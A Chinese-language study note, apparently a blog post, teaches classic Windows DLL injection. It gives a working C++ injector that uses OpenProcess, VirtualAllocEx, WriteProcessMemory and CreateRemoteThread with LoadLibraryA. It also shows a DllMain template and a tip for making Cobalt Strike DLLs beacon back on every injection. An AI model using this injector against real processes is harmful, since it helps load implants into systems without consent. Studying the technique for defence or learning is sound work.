DLL注入
之前用CreateRemoteThread向进程注入了shellcode,这次学习一下把DLL注入到进程里面
0x01 CreateThread补充
上篇文章说过这个参数,学习了怎么传一个参数进去这次了解一下怎么传多参数
其实就是传个结构进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #include<iostream> #include<Windows.h> struct Parameter { int a; char b; double c; };
DWORD WINAPI ThreadProc(LPVOID lpParameter) { Parameter* test = (Parameter*)lpParameter; printf("%d\n", test->a); printf("%c\n", test->b); printf("%f\n", test->c); return 0; }
int main() { struct Parameter test; test.a = 123; test.b = 'z'; test.c = 123.123; HANDLE handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, (LPVOID)&test, 0, NULL); CloseHandle(handle);
system(" pause");
}
|
0x02 DLL注入
之前学了把shellcode注入到进程内存中,其实原理和那个差不多,写一下步骤
- 给进程开一块内存
- 从kernel32.dll里面找到LoadLibraryA函数的函数指针,
- 把dll路径写入进程内存中
- 调用线程用LoadLibraryA函数执行dll
大致的步骤就是这样
每个进程里面都会用到kernel32.dll,所以肯定可以在里面找到需要的函数
下面看一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| #include <iostream> #include <Windows.h> char path[] = "D:\\vs_code\\injdll\\x64\\Release\\injdll.dll";
int main() { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, 43424); if (hProcess == INVALID_HANDLE_VALUE) { printf("Error Code:%d", GetLastError()); return -1; } if (hProcess) { LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); printf("OpenProcess Success\n"); HMODULE dll = GetModuleHandleA("kernel32.dll"); FARPROC LLib = GetProcAddress(dll, "LoadLibraryA"); if (lpBaseAddress) { printf("base_address:%p\n",lpBaseAddress); BOOL ret = WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL); if (ret) { printf("WriteProcessMemory Success\n"); HANDLE ThreadHandle = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LLib, lpBaseAddress, 0, 0); if (ThreadHandle) { printf("ThreadInject Success\n"); } else { printf("ThreadInject Fail\n Error Code:%d", GetLastError()); } } else { printf("\n"); } } else { printf("VirtualAllocEx Fail\n"); }
} else { printf("OpenProcess Fail"); } return 0; }
|
基本都一样,多的两行已经加了注释了
0x03 DLL结构
CS生成的dll只能注入一次,第二次注入就不会上线了
是因为DLL调用方式,看一下默认的DLL程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #include "pch.h" #include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: { break; } case DLL_PROCESS_DETACH: { break; } case DLL_THREAD_ATTACH: { break; } case DLL_THREAD_DETACH: { break; } } return TRUE; }
|
CS生成的DLL应该是用这个DLL_PROCESS_ATTACH调用的,只有首次被载入的时候会执行,可以自己写一个DLL_THREAD_ATTACH调用,这样每次注入都会上线一次
0x04 踩坑
GetModuleHandleA
这个函数只能得到已经在当前进程中的dll的句柄,不能拿到不在当前进程中的dll的句柄
当时一直想用这个调用DLL但是总是提示找不到,后来查了才发现一定要在当前进程里面有才可以
DLL路径存放问题和CreateRemoteThread调用函数问题
虽然这是两个问题但是可以放在一起说
当时一直不明白为什么DLL路径一定要放在那个进程里面,因为看起来就是一个字符串,放在哪里都没问题的
还有一点为什么要用
1
| FARPROC LLib = GetProcAddress(dll, "LoadLibraryA");
|
这样的方式获取函数指针,为啥不重新写一个函数放进去
其实说简单点就是用LoadLibraryA加载DLL都是在那个进程的内存里面完成的,所以函数也是那边调用,参数也是要在那个进程的内存里面找
如果DLL路径不在那个进程内存里面,那边的LoadLibraryA函数就读不到了,同理,在当前程序写一个函数,那边的进程也是用不了的,需要用那个进程里面的kernel32.dll里面的LoadLibraryA函数指针
0x05 效果图